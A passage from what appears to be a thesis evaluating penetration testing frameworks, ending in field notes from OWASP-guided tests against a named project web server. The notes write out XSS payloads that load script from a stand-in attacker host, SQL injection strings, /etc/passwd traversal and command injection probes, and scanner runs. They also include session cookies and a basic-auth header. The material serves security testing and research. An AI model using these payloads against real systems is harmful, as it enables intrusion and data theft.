RQ2: What quality metrics can be defined for penetration testing frameworks?
Section 4.3 reviewed five existing quality models with the aim of understanding what quality
metrics could potentially be suitable for penetration testing frameworks, and, what metrics could be
used to measure quality. Table 4.5 (Quality Metric Comparison) showed that maintainability,
portability, reliability, reusability, and testability were the most common across the five models
reviewed. After analysis it was determined that not all of these metrics were suitable, thus a
proposed metrics set is defined (see table 4.5) based on aspects of penetration testing frameworks.
The candidate metrics outlined in table 4.5 formed the basis for a proposed quality model depicted
in figure 4.2.
RQ3: How can penetration testing frameworks be evaluated using quality metrics?
Section 4.4 implements the proposed quality model (see table 4.5) against the two frameworks
ISSAF and OTG. Each top-level metric (characteristic) and its supporting sub-characteristics
mapped well to the two frameworks undergoing evaluation. Qualitative and quantitative methods
are used to measure various aspects of quality for the two frameworks successfully which suggests
that quality evaluation is possible.

5.2 Critical Review of the Research
The case study approach was preferred for this research due to the invaluable experience that can be
gained from real-world projects. The AU2EU project consisted of two third-party providers (DRK
and CSIRO). Regrettably, both third-party providers did not deliver the resources necessary for this
research to be completed as originally intended. While the research did complete, the impact of late
or non-existent project resources (see section 4.6) far outweighed the benefits of the case study
approach, in other words, it would have been far more beneficial to use the mitigation strategy
(IBM implementation) from the onset.
Further to project limitations, it was discovered that technical expertise within the penetration
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testing discipline is a crucial factor prior to undertaking research that involves practical application.
Technical ability to interpret results is one primary aspect that has the potential to inhibit a given
project as discovered throughout this research. While some tests did produce results as expected,
additional research was required to interpret the result. Put another way, it was not enough to
execute a command; moreover the output would play a major role on the next set of tests. The level
of experience required for penetration testing projects covers not only technical expertise but
incorporates other disciplines, for instance, project management, report writing, and
communications skills, among others. This suggests that a security team rather than an individual
practitioner would be beneficial if penetration testing projects are to be more effective. For
inexperienced penetration testers, effort to understand a framework’s structure and procedures is a
pre-requisite prior to undertaking a particular project. The result of using a mature framework is
well worth the effort given the complexity of penetration testing.
In conclusion, the research was successful inasmuch as, the research questions were addressed,
however, it would have been an advantage to gain more experience within the cyber security
discipline prior to this research. In addition, ensure a mitigation strategy was in place from the onset
should third-party providers falter on deliverables.

5.3 Future Work
This research revealed several areas worthy of future research. Defining methodologies and
frameworks for a specific purpose proved to be challenging, however, understanding these concepts
in the correct context can help clear any confusion for penetration testers not yet experienced with
commercial projects. Repeating the quality evaluation in particular, against penetration testing
project(s) might prove valuable for the cyber security discipline by means of external validity.
Validity of the models proposed could potentially add to the body of knowledge should a peerreviewed quality model be put forth.
Throughout the literature reviewed for this research it was not uncommon for published works to
cite penetration testing frameworks and methodologies that underwent review for this research. For
example; CREST (2012) provides a Penetration Testing Services Procurement Guide of which
refers to OWASP, PTES, and OSSTMM as sources. NIST 800-115 (a standard reviewed in this
research) refers to OSSTMM and OWASP, among others. While it is outside the scope to list all the
cross referencing among the publications reviewed, it is suffice to say that a one-size fits all
approach to penetration testing projects is not practical. In addition, there appears to be no
internationally agreed upon best practice or standard to follow, therefore, a useful resource that
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could extend upon this research is a taxonomy of frameworks and/or methodologies that map to a
problem domain. For instance, web application testing projects would certainly benefit from a direct
mapping to OWASPS’s OTG, ISSAF’s planning and preparation phase is far more comprehensive
compared to the other eight frameworks reviewed, and PTF 0.59 provides a comprehensive
reporting resource. In other words, even though a certain framework might not meet all
requirements for a particular project, there are certainly aspects of each framework reviewed in this
research that should not be shelved. Finally, without correct interpretation of results, penetration
testing projects can provide a false sense of security, moreover, the value of penetration testing lies
in the results. Furthermore, reporting aspects of penetration testing are vastly overlooked. Future
research could extend upon this research by evaluating expected outputs and reporting, thus include
these aspects as part of quality criteria.
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Appendix A: Operability Metrics
Internal Operability metrics
Metric name

Purpose of the
metrics

Input validity
checking

What proportion of
input items provide
check for valid data

User operation
cancellability

User operation
Undoability

What proportion of
functions can be
cancelled prior to
completion?

What proportion of
functions can be
undone?

Measurement, formula and
data element computations

Interpretation
of measured
value

Metric
scale
type

Count the number of input
items, which check for valid
data and compare with the
number of input items, which
could check for valid data

X=A/B

0<=X<=1

Absolute X=count/co Req spec
unt
Design
A=count

Count the number of
implemented functions,
which can be cancelled by
the user prior to completion
and compare it with the
number of functions
requiring the precancellation
capability

X=A/B

Count the number of
implemented functions,
which can be undone by the
user after completion and
compare it with the number
of functions

X=A/B

Method of application

A=Number of input items which check for valid The closer to 1,
data
the better.
.
.
B=Number of input items which could check for
valid data

B=count

0 <= X<=1

A=Number of implemented functions which can The closer to 1,
be undone by the user
the better
undoability
B= Number of functions.

0<=X<=1

functions can be
customised during
operation?

implemented functions,
which can be customized by
the user during operation
and compare it with the
number of functions
requiring the customization
capability

A=Number of functions which can be
customised during operation

What proportion of
functions can be
customised for access
by users with physical
handicaps

Count the number of
implemented functions,
which can be customised
and compare it with the
number of functions

X=A/B

0<=X<=1

A=Number of functions which can be
customised

The closer to 1,
the better
physical
accessibility

B=Number offunctions requiring the
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precancellation capability

NOTE: : Either single undoability or multiple undoability after several subsequent actions can be assessed
Customisability What proportion of
Count the number of
X=A/B
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accessibility

0<=X<=1

A=Number of implemented functions which can The closer to 1,
be cancelled by the user
the better
cancellability
B= Number of functions requiring the

Measure
type

report

Verification

Developers

Joint review Requirers

Appendix B: OTG Field Notes
OTG-INFO-002: Fingerprint Webserver
The objective of this test is to determine the version and type of web server running to discover
known vulnerabilities, thus determine potential exploits. The recommended tool for fingerprinting
is netcat. In addition to netcat, socat was used given the target interface implements https. Socat
was not listed as any of the recommended tools to use in the OWASP Testing Framework.
1

Command: ncat 195.37.154.37 10504

HTTP/1.1 400 Bad Request
Server: nginx/1.9.4
Date: Thu, 24 Sep 2015 12:05:12 GMT
Content-Type: text/html
Content-Length: 270 Connection: close
2

Command ncat 195.37.154.37 10501

HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 24 Sep 2015 12:12:08 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 52
Connection: close
X-Backside-Transport: FAIL FAIL
X-Cf-Requestid: 6682e50f-f6b8-42bb-45d2-5467e68fa989
X-Cf-Routererror:

unknown_route

X-Client-IP:

195.37.154.37

459356431
3

socat - openssl-connect:195.37.154.37:10504,verify=0

HEAD / HTTP/1.0 HTTP/1.1 302 Moved Temporarily
Server: nginx/1.9.4
Date: Fri, 25 Sep 2015 07:28:15 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 37

X-Global-Transaction-ID:

Connection: close
X-Powered-By: Express
Location: /ui
Vary: Accept, Accept-Encoding
Set-Cookie:
session=aQzVGg8p1cEd76OrowdZ2g.ajAQTyYqkwnZqBMulDnv9Vep1K8DZzL44JTBs86u4Bk.1
443166095343.86400000.p3hsiX1mP3UFUdf6Hx2i9QrGrg0LFtefXC_irX4mKoE;
path=/; expires=Sat, 26 Sep 2015 07:28:16 GMT; httponly
4

Netcraft Result http://toolbar.netcraft.com/site_report?url=http://au2eu.nlehd.de

OTG-INFO-003:

Review

Webserver

Metafiles

for

Information

Leakage

The purpose of this test is to identify information leakage of the web applications directory
structure. The purpose is to interrogate the robotx.txt file to find any information about directories
to be avoided by web crawlers, consequently to map the web applications directory structure.
Command: wget au2eu.nlehd.de:10501/robots.txt
(tried browser access using http and https) on port 10504
400 - bad request on port 10504 404 Not found
No robots.txt file found
OTG-INFO-004: Enumerate Web Applications on Webserver
Enumerate web applications within scope that exist on the web server. The recommended tools are
nmap
Command:

nmap -sV -O -p10500 10510

Nmap scan report for au2eu.nlehd.de (195.37.154.37) Host is up (0.29s latency).
PORT

STATE

SERVICE

VERSION

10500/tcp closed unknown
10501/tcp open http

nginx 1.4.6 (Ubuntu)

10502/tcp open http

nginx 1.4.6 (Ubuntu)

10503/tcp open unknown
10504/tcp open ssl/http nginx 1.9.4
10505/tcp closed unknown
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10506/tcp closed unknown
10507/tcp closed unknown
10508/tcp closed unknown 10509/tcp closed unknown
10510/tcp open ssh

OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)

1 service unrecognized despite returning data.
Nessus was recommended for this task however the application was not available at the time of
testing.
To identify name servers OWASP further recommends using online services for, DNS lookups and
reverse DNS using online tools, for example searchdns.netcraft.com.
Search DNS Results
Site

http://au2eu.nlehd.de

Netblock Owner

NEC Europe Ltd.

Domain

nlehd.de

Nameserver

kyoto.neclab.eu

IP address

195.37.154.37

DNS admin

postmaster@nelab.eu

IPv6 address

Not Present

Reverse DNS

au2eu.nlehd.de

Domain registrar

denic.de

Nameserver
organisation

unknown

Organisation

unknown

Hosting company

neclab.eu

DNS Security
Extensions

unknown

Top Level Domain Germany (.de)
Hosting country

m DE

Name Servers:
•
•

kyoto.neclab.eu
ws-lei1.win-ip.dfn.de

Additional Information
Enrico.Giakas@netlab.nec.de

Thomoas.dietz@nw.neclab.eu

DNS lookup using command the command line
Command:

host -t ns au2eu.nlehd.de

result:

au2eu.nlehd.de has no NS record

Zone transfer attempt
Command: 1 host -l au2eu.nlehd.de kyoto.neclab.eu
Command 2: host –l au2eu.nlehd.de ws-lei1.win-ip.dfn.de
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Result 1
Using domain server:
Name: kyoto.neclab.eu
Address: 195.37.70.24#53
Aliases: Host au2eu.nlehd.de not found: 9(NOTAUTH)
; Transfer failed.
Result 2
Using domain server:
Name: ws-lei1.win-ip.dfn.de
Address: 195.37.70.24#53
Aliases: Host au2eu.nlehd.de not found: 9(NOTAUTH)
; Transfer failed.
OTG-INFO-005: Review Webpage Comments
A review of HTML source code was conducted however no comments relevant to the web
application were found. There is however javascript code embedded into the webpage that appears
to control the authentication process. Source code inspection of this size is outside the scope of this
research however it is important to note that some directory information was found within the code
therefore assist with the directory/path mapping of the web application.
Folder: api/v0/emergency
OTG-INFO-006: Identify Application Entry Points
The objective of this test is to understand how requests are formed and analyse the typical response
received from the web application.
Attempted test using tamper data firefox plugin and Burpe suite. Unable to obtain a result
OTG-INFO-007: Map Execution Paths through application
Map the target application and understand the principle workflows
Webscarab:

POST request goes to ocsp.pca.dfn.de/

http://ocsp.pca.dfn.de/OCSP-Server/OCSP

OTG-INFO-008: Fingerprint Web Application Framework
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The aim is to identify the type of Web framework.
The target system is powered by Express, node.js. A standard web application framework for
node.js running Nginx 1.9.4
Recommended tools: netcat, BlindElephant
1

Command: nc 195.37.154.37 10504
HTTP/1.1 400 Bad Request
Server: nginx/1.9.4
Date: Tue, 29 Sep 2015 09:34:23 GMT
Content-Type: text/html Content-Length: 270
Connection: close

2

BlindElephant.py https://au2eu.nlehd.de:10504 guess
No results found

OTG-INFO-009: Fingerprint Web Application
The following tests attempt to identify the web application. Recommended tools are:
•
•
•

BlindElephant
Wappalyser
Whatweb

1
2

BlindElephant : no result
Wappalyser
Web Server: Ngix Web framework: Express node.js

3

Whatweb 195.37.154.37:10504

Result for port 10504
https://195.37.154.37:10504

[302]

Cookies[session],

Country[GERMANY][DE],

HTTPServer[nginx/1.9.4], HttpOnly[session], IP[195.37.154.37], RedirectLocation[/ui],
X-Powered-By[Express],
Cookies[session],

nginx[1.9.4]

https://195.37.154.37:10504/ui

Country[GERMANY][DE],

[200]

HTTPServer[nginx/1.9.4],

HttpOnly[session], IP[195.37.154.37], X-Powered-By[Express], nginx[1.9.4]
Result for port 10501
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whatweb http://195.37.154.37:10501

http://195.37.154.37:10501

[404] Country[GERMANY][DE], HTTPServer[Ubuntu Linux][nginx/1.4.6 (Ubuntu)], IBMWebSphere-DataPower[FAIL], IP[195.37.154.37], UncommonHeaders[x-backside-transport,x-cfrequestid,x-cf-routererror,x-client-ip,x-global-transaction-id]
whatweb -c=session https://195.37.154.37:10504

https://195.37.154.37:10504
HTTPServer[nginx/1.9.4],
Powered-By[Express],

[302]

Cookies[session],

HttpOnly[session],

nginx[1.9.4]

IP[195.37.154.37],

Country[GERMANY][DE],
RedirectLocation[/ui],

https://195.37.154.37:10504/ui

[200]

X-

Cookies[session],

Country[GERMANY][DE], HTTPServer[nginx/1.9.4], HttpOnly[session], IP[195.37.154.37], XPowered-By[Express], nginx[1.9.4]
Webscarab
HTTP/1.1 200 OK
Date: Thu, 01 Oct 2015 12:45:11 GMT
Server: Apache Last-Modified: Thu, 01 Oct 2015 12:45:11 GMT
expires: Sun, 11 Oct 2015 12:45:11 GMT
ETag: b193f875140f88487d1baf9bcce1879bcf85b1ec
cache-control: max-age=864000, public, no-transform, must-revalidate
Content-length: 1541
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/ocsp-response
NIKTO
root@kali:~# nikto -ssl -host 195.37.154.37 -port 10504 Nikto v2.1.6
Target IP:

195.37.154.37 +

Target Hostname: 195.37.154.37 +
Target Port:
SSL Info:

10504 +
Subject:

Ltd./CN=au2eu.nlehd.de
Issuer:

/C=DE/O=NEC

/C=DE/ST=Baden-Wuerttemberg/L=Heidelberg/O=NEC Europe
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Europe

Ltd./OU=NEC

Laboratories

Europe/CN=NECLAB-

CA/emailAddress=zertifizierungsstelle@nw.neclab.eu +
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Start Time:

2015-10-02 20:54:45 (GMT-4)

Server: nginx/1.9.4 + Cookie session created without the secure flag + Retrieved x-powered-by
header: Express + The anti-clickjacking X-Frame-Options header is not present. + The X-XSSProtection header is not defined. This header can hint to the user agent to protect against some
forms of XSS + The site uses SSL and the Strict-Transport-Security HTTP header is not defined. +
The X-Content-Type-Options header is not set. This could allow the user agent to render the content
of the site in a different fashion to the MIME type + Root page / redirects to: /ui + Server leaks
inodes

via

ETags,

header

found

with

file

/F5lQey1l.Htm,

fields:

0xW/16a

0xLsvGzNKFbcFGil1LQQectA + No CGI Directories found (use '-C all' to force check all possible
dirs) + Hostname '195.37.154.37' does not match certificate's names: au2eu.nlehd.de + Allowed
HTTP Methods: GET, HEAD + OSVDB-3093: /uifc/MultFileUploadHandler.php+: This might be
interesting... has been seen in web logs from an unknown scanner. + 7671 requests: 0 error(s) and
10 item(s) reported on remote host +
End Time:

2015-10-03 07:58:27 (GMT-4) (39822 seconds) + 1 host(s) tested

nikto -host http://ocsp.pca.dfn.de:80/OCSP-Server/OCSP Nikto v2.1.6
+ Target IP:
Time:

193.174.13.86 + Target Hostname:

ocsp.pca.dfn.de + Target Port:

80 + Start

2015-10-01 08:55:14 (GMT-4)

+ Server: Apache + The anti-clickjacking X-Frame-Options header is not present. + The X-XSSProtection header is not defined. This header can hint to the user agent to protect against some
forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to
render the content of the site in a different fashion to the MIME type + No CGI Directories found
(use '-C all' to force check all possible dirs) + Allowed HTTP Methods: GET, HEAD, POST, PUT,
DELETE, OPTIONS, TRACE + OSVDB-397: HTTP method ('Allow' Header): 'PUT' method
could allow clients to save files on the web server. + OSVDB-5646: HTTP method ('Allow'
Header): 'DELETE' may allow clients to remove files on the web server.
Configuration Phase
OTG-CONFIG-001: Test Network Infrastructure
Testing network infrastructure is outside the scope of this project however; port 10510 is identified
as a possible administration entry point but will not be tested. SSH OpenSHH 6.6.1
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OTG-CONFIG-003: Test File Extension Handling
The purpose is to ensure file extension handling is adequate for the web application by testing
known fie extension in the browser.
Files identified and tested
ui.php

produced a blank page

api.php

prompted for a username and password

OTG_CONFIG-005: Enumerate infrastructure and Application Admin Interfaces
Discovered port 10510 Open SSH 6.6.1 , Out of scope for testing
Directory and file enumeration for administrator interfaces.
Directories discovered using dirbuster and tamper (FF plugin)
/api
/api.php
/api/v0
/api/v0/staff_free
/api/v0/client
/api/v0/role
/api/v0/status
/api/v0/staff
/api/v0/event
/api/v0/event_incl
/uitleg
/uitleg/uitleg.php
/apidocs
/apidocs.php
/uic
/uid.php
/uid
/uir
/uic/uic.php
/uis/
/uis.php
/ui_images.php
/iui_images
OTG_CONFIG-006: Test HTTP Methods
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Test to see what http commands are supported. If the trace command is allowed there is potential for
cross-site scripting vulnerabilities
Netcat is the recommended tool, however no significant results were returned, thus socat was used
as an alternative to cater for https
Command:

socat - openssl-connect:195.37.154.37:10504,verify=0

OPTIONS / HTTP/1.1
Host:195.37.154.37 HTTP/1.1 200 OK
Server: nginx/1.9.4
Date: Fri, 25 Sep 2015 08:42:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 8
Connection: keep-alive XPowered-By: Express
Allow: GET,HEAD
ETag: W/"8-8ww6QOmj5lyGjHVKXelZGQ"
SetCookie:session=H7Go6yfo5eydUNtk91WWIA.n3iBkZ_VVWIVm4knV_OVIyjNl3MTvBnsxXePRCIUoQ.1443170563408.86400000.c-Ci4_Nh9H5JliNRUzL5PjfFePLYukOC9Wwq4VTmA8; path=/; expires=Sat, 26 Sep 2015 08:42:44 GMT; httponly Vary: Accept-Encoding
GET,HEAD
The trace command was still tested even though the option was not permitted.
Command

TRACE / HTTP/1.1
Host:195.37.154.37

Result: for port 10501
HTTP/1.1 405 Not Allowed Server: nginx/1.4.6 (Ubuntu) Date: Tue, 29 Sep 2015 12:17:40 GMT
Content-Type: text/html Content-Length: 181 Connection: close
Result for port 10504
HTTP/1.1 405 Not Allowed Server: nginx/1.9.4 Date: Tue, 29 Sep 2015 12:20:04 GMT ContentType: text/html Content-Length: 172 Connection: close
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Check for JEFF Vulnerability using socat
JEFF / HTTP/1.1
Host:195.37.154.37:10504
response: 502 Bad Gateway
OTG-CONFIG-007: Test HTTP Strict Transport Security
The HTTP Strict Transport Security (HSTS) header is a mechanism that websites have to
communicate to the browser that all traffic exchanged with a given domain must always be sent
over https, thus will help information from being sent over unencrypted requests
Test for strict transfer security:
curl -s -D- https://au2eu.nlehd.de:10504 | grep Strict
Response: none
Identification
OTG-IDENT-004: Account Enumeration and Guessable User Account
The purpose of this test is to verify whether it is possible to collect valid usernames by interacting
with the authorization system, thus whether it is possible to use brute force to find the
corresponding password.
Test 1: Record the server response when a valid username is entered
Test 2: Test for valid user with wrong password
Test 3: test for non-existent username: Result, authentication pop up, no result
URI Probing
Test whether or not a URI can be accessed directly to detect authorization error messages. Based on
the directory fingerprinting various URIs were tested, resulting in an unauthorized error message.
The error yielded no significant result.
Guessing Users
To determine whether a valid user and invalid user produce the same error code
OTG-IDENT-005: Testing for weak of unenforced username Policy
Determine the structure of account names and evaluate the systems response to valid and invalid
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account names. Use account dictionaries to enumerate a valid account. Ensure the application
returns consistent generic error messages in response to invalid accounts, passwords or other
credentials entered during the login process.
Result: No credentials provided to perform these tests
OTG-AUTHN-001: Testing for Credentials Transported over an Encrypted Channel
The scope of this test is to verify whether the user credentials are transferred via an encrypted
channel, for instance, https. By using tools such as webscarab and burpe suite, interception of the
traffic can verify whether or not the data is encrypted.
Test 1: Webscarab: program failed
Test 2: Burpe Suite Result: Verified data was encrypted.
GET /api/v0/status HTTP/1.1
Host: 195.37.154.37:10504
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referrer: https://195.37.154.37:10504/ui
Cookie:
session=vu5_pov5ETF3OaYgslVzEg.dGWclpRTm9BF7u375sAW_cPZjxfJbN3OvfZ3AVUGHc8.1
444199749990.86400000.Gky0MNXbGkcfNB1r9oB5jsgPZX5XGmCwh8ely9KOSUE
Connection: keep-alive
Cache-Control: max-age=0
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
OTG-AUTHN-003: Testing for Weak lock out mechanism
Used to mitigate against brute force attacks. Testing involves attempting to authenticate with invalid
credentials for a particular user, thus determine if any lock out procedures are in place.
Test:
login with incorrect password 3 to 10 times or more, followed by a successful login to verify
lockout functionality is triggered.
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Result: 10 attempts were made using admin, no lockout mechanism activated. This needs to be
tested with valid credentials
OTG-AUTHN-004: Bypassing Authentication Schema
Test to verify whether authentication can be bypassed by why of bypassing the login page and
accessing pages directly via the browser (forced browsing). Knowledge of the directory structure is
required. Parameter modification, session ID prediction and SQl injection are other recommended
techniques.
Test 1: Direct browser access
Pages and directories discovered by dirbuster in the information gathering stage were used (see
OTG_CONFIG-005: Enumerate infrastructure and Application Admin Interfaces)
Result: Authentication required was encountered for every test
Test 2:

Parameter Modification

Unable to compete test without knowledge of the POST and GET parameters using an authenticated
user.
Determine whether directory traversal is possible
Test

1

https://195.37.154.37:10504/ %2e%2e%2f %2e%2e%2f %2e%2e%2f %2e%2e%2f/etc/passwd
Test 2: https://195.37.154.37:10504/../../../../etc/passwd

No result
OTG-AUTHZ-003: Testing for privilege escalation
Testing for privilege escalation. The purpose is to verify that a user can not modify his or her
privileges or roles inside the application in ways that could allow privilege escalation attacks.
Out of scope, credentials required
OTG-INPVAL-001: Testing for Reflected Cross site scripting
Test for cross-site scripting attacks.
The following code was entered into both the login input box and password input box
101

Test 1
<script>alert(123)</script>
>”<script>alert(123)</script>
Result: Not vulnerable, the authentication box was presented for a valid login
Unable to test the entire application due to account access.
Test 2
Directly into the url
https://195.37.154.37:10504/ui/ui.php?user=<script>window.onload=function(){var
AllLinks=document.getElementByTagName("a");AllLinks[0]href="http://badexample.com/malicou
s.exe";}</script>>
Result: Not vulnerable
Test 3
https://195.37.154.37:10504/ui/ui.php?user="%3cscript%3ealert(document.cookie)%3c/script%3e

Result: Not vulnerable
Test 4
https://195.37.154.37:10504/ui/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRI

PT>

Result: Not vulnerable
OTG-INPVAL-003: Testing for HTTP Verb Tampering
Determine if the server will accept other HTTP methods other than GET and POST.
Netcat and socat were used.. Socat was not a recommended tool for this test however it was used to
cater for https.
Test command: socat - openssl-connect:195.37.154.37:10504,verify=0
OPTION / HTTP/1.1
Host:195.37.154.37
Result
HTTP/1.1 401 Unauthorized Server: nginx/1.9.4 Date: Sat, 10 Oct 2015 07:27:46 GMT Transfer102

Encoding: chunked Connection: keep-alive X-Powered-By: Express WWW-Authenticate: Basic
realm="Users"

Set-Cookie:

session=AuX3mh60LeVb1JuIK11yZg.J1Uk7c4FZ0TXk-

b5ABxmIOZW7q5i45ba6z4eVAQBE3E.1444462066586.86400000.Dy9BFXy0GwNRCd88041S9VctdRdOZI8pb36k88FWwA; path=/; expires=Sun, 11 Oct 2015 07:27:47
GMT; httponly c Unauthorized 0
Test 2 – command: nc 195.37.154.37 10504
Result
HTTP/1.1 400 Bad Request Server: nginx/1.9.4 Date: Sat, 10 Oct 2015 07:29:08 GMT ContentType: text/html Content-Length: 270 Connection: close <html> <head><title>400 The plain HTTP
request was sent to HTTPS port</title></head> <body bgcolor="white"> <center><h1>400 Bad
Request</h1></center> <center>The plain HTTP request was sent to HTTPS port</center>
<hr><center>nginx/1.9.4</center> </body> </html>
Server is not vulnerable to HTTP verb tampering
OTG-INPVAL-005: Testing for SQL Injection
Test 1 SQL Injection Strings
1'or'1'=1'))/*
password = foo
1'or'1'=1’))—
1'or'1'=1’))—;
1' OR '1'='1))/*
1' OR '1'='1)))/*
1' OR '1'='1)/*
1'or'1'=‘1'
1'or'1'='1' AND password='1'OR'1'=‘1'
1' or'1'='1'))LIMIT 1/* (Various combinations using — and brackets

Test 2 Concatenation Techniques
Attempt to retrieve a database error message
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MySql:’test’+’ing’
SQL Server: ‘test’’ing’
Oracle: ‘test’||’ing’
PostgreSQL: ‘test’||’ing’
Test 3

Union Exploitation Technique

Entered into the username field.
admin UNION ALL SELECT client FROM clients
admin UNION ALL SELECT user FROM users
angelika + UNION SELECT 1,null); /*
angelika AND UNION SELECT 1,null); /*
Attempt order by clause to force response
admin ORDER BY 2;
GET Strings
https://195.37.154.37/10504/ui/ui.php?user=julie UNION SELECT 1,1,null/*
https://195.37.154.37/10504/ui/ui.php?user=julie UNION SELECT 1,1,null—
https://195.37.154.37/10504/ui/ui.php?user=1%27%20AND%20%271%27=%272%27

Response: Server times out
Error Base Technique
Variations of
https://au2eu.nlehd.de:10504/ui/ui.php?||UTL_INADDR.GET_HOST_NAME((SELECT

user

FROM USERS))/*
Response:

produced blank page

Expected:

server error

https://au2eu.nlehd.de:10504/ui/ui.php?id=1orHTTP.REQUEST(‘testserver.com:80’);
Automated tests:

SQL MAP

Sqlmap –url ip.address:port/ui/php
Sqlmap –url https:195.37.154.37:10504/ui/ui.php?user=
104

RESULT
[08:26:33] [WARNING] using un-escaped version of the test because of zero knowledge of the
back-end DBMS. You can try to explicitly set it using option '--dbms' [08:28:22] [INFO] testing
'MySQL UNION query (NULL) - 1 to 10 columns' [08:30:10] [WARNING] GET parameter 'user' is
not injectable [08:30:10] [CRITICAL] all tested parameters appear to be not injectable. Try to
increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either
a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection
mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '-tamper=space2comment') [*] shutting down at 08:30:10
OTG-INPVAL-013: Testing for Command Injection
Attempt to execute OS commands
Test 1 https://195.37.154.37:10504/api.php?dir=%3Bcat%20/etc/passwd

Result: none
Server Errors
This section is to identify server or application errors that may show additional information about
the server and/or web application that can be useful for fingerprinting and understanding the web
application further.
OTG-ERR-001: Testing for Error Code
Determine error codes for pages that are both valid and invalid using telnet and socat.
Existing page ui.php
GET df.php HTTP/1.1 HTTP/1.1 400 Bad Request Server: nginx/1.9.4 Date: Sat, 10 Oct 2015
07:50:53 GMT Content-Type: text/html Content-Length: 172 Connection: close
Invalid page
GET df.php HTTP/1.1 HTTP/1.1 400 Bad Request Server: nginx/1.9.4 Date: Sat, 10 Oct 2015
07:50:53 GMT Content-Type: text/html Content-Length: 172 Connection: close
Socat was not a recommended tool however it was used in conjunction with telnet.
Result – no useful error messages. 400 bad request for both tests
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OTG-CRYPST-001: Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer
Protection
Command: Openssl s_client –connect 195.37.154.37:10504
Result
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1
Cipher

: DHE-RSA-AES256-SHA

Session-ID:
A0C5D1F7DEB3C303507BB4CB7399CC08F5FF22748344AA1D5A5E4FCAC3C04A45
Session-ID-ctx:
Master-Key:
7D8F71C8AC816F197FA231968594BB135C7A289F75844E8FDF177E650A17468D5B649EAE1
1B5FF5F46A0B2C1151765B2
Key-Arg : None
Start Time: 1444464092
Timeout : 300 (sec)
Verify return code: 0 (ok)
OTG-CTYPST-003: Testing for Sensitive information sent via unencrypted channels
Test whether sensitive data is protected when transmitted
Test 1 using Curl
curl -k 'https://195.37.154.37:10504/' -H 'Authorization: Basic YXNkZjphc2Rm' -H 'AcceptEncoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8' -H 'Upgrade-InsecureRequests:

1'

-H

'User-Agent:

Mozilla/5.0

(Macintosh;

Intel

Mac

OS

X

10_10_3)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36' -H 'Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control:
max-age=0'

-H

'Cookie:

session=rGe27EvJLqQ48q1t42vQ_A.8C2DaaCg_pueKscSCXENuGo4yP3Da0VK4uAobSRl4J8.1
444357191730.86400000.3EWG3eFCOYZx2UFsfil1PyUu0HVI8A8pUBV0q3s_ktY'

-H

'Connection: keep-alive' --compressed –vvvv
Test 2 Using testssl.sh
See file (testssl.docs)
OTG-CLIENT-004: Testing for Client Side URL Redirect
The purpose is to determine if the client side URL redirection, commonly known as Open
Redirection is vulnerable. It is input validation flaw that exists when an application accepts a user
controlled URL that specifies a link that leads to an external URL that potentially could be
malicious
Test 1: https://195.37.154.37:10504/?#redirect=google.com

Test 2 https://195.37.154.37:10504/#redirect=google.com

Test 3: https://195.37.154.37:10504/ui/?user=#redirect=google.com

Test 4: https://195.37.154.37:10504/ui/?#google.com

Test 5: https://195.37.154.37:10504/?#javascript:alert(document.cookie)

Result: Site not vulnerable.
OTG-CLIENT-009: Testing for Click jacking
To test for this vulnerability a HTML page is created using the iframe HTML tag as follows
<html>
<head>
<title>Click jack page</title>
</head>
<body>
<p>website is vulnerable to click jacking</p>
<iframe src="https://195.37.154.37:10504" width="600" height="600">
<p>Your browser does not support iframes.</p>
</iframe>
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</body>
</html>
The page was successfully loaded into the browser via the iframe tag, thus the web application is
potentially vulnerable to click jacking (page 201 of the OWASP Testing Guide). To verify this login
credentials are required to test thoroughly.
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